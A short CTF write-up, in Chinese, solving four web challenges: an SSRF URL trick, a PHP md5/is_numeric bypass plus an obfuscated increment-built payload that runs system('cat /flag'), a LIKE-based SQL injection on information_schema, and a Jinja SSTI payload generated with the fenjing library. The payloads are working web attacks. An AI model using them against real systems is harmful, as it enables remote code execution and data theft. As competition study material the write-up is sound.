ez_ssrf
很简单的ssrf,知识点在网上搜都能搜到
payload
http://node3.anna.nssctf.cn:28658@127.255.255.254/flag
ez_php
第一部分有个非预期,直接/file就能出flag
is_numeric绕过和md5强比较,很简单的知识点,这里就不细说了
第二部分网上有原题,但我一时半会找不到了,方法是自增
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_0=++$_;$_++;$_++;$_++;$_++;$_=$_0.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
url编码后post传进去,用get传1=system&2=cat /flag
light_pink
有一点点过滤的联合查询
过滤了=,使用like绕过
注意查表的语句,要用括号包裹,再加个select,不然会报错,在这里小卡了一下
(select group_concat(table_name) from information_schema.tables where table_schema like 'nss_board')
然后查列查值就行
flag在Cute表里
Coding Loving
用fenjing梭的一血
在源码可以看到ssti注入点,过滤的东西有点多,然后跑一下fuzz,过滤了._%/数字read还有字母g
手搓过滤器我搞不来,fenjing webui用工具梭也不行
不过fenjing不只一种用法,还可以当成库来引用
感谢刘队orz
import fenjing
from fenjing.const import OS_POPEN_READ
def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回Falseblacklist = ['\r', '\n', '_', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '.', 'read', '%','/','g']return all(word not in s for word in blacklist)
full_payload_gen = fenjing.FullPayloadGen(waf)
shell_payload, will_print = full_payload_gen.generate(OS_POPEN_READ, "cat /flag")
if not will_print:print("这个payload不会产生回显")
print(shell_payload)
梭就完事了,几乎可以通杀大部分的jinja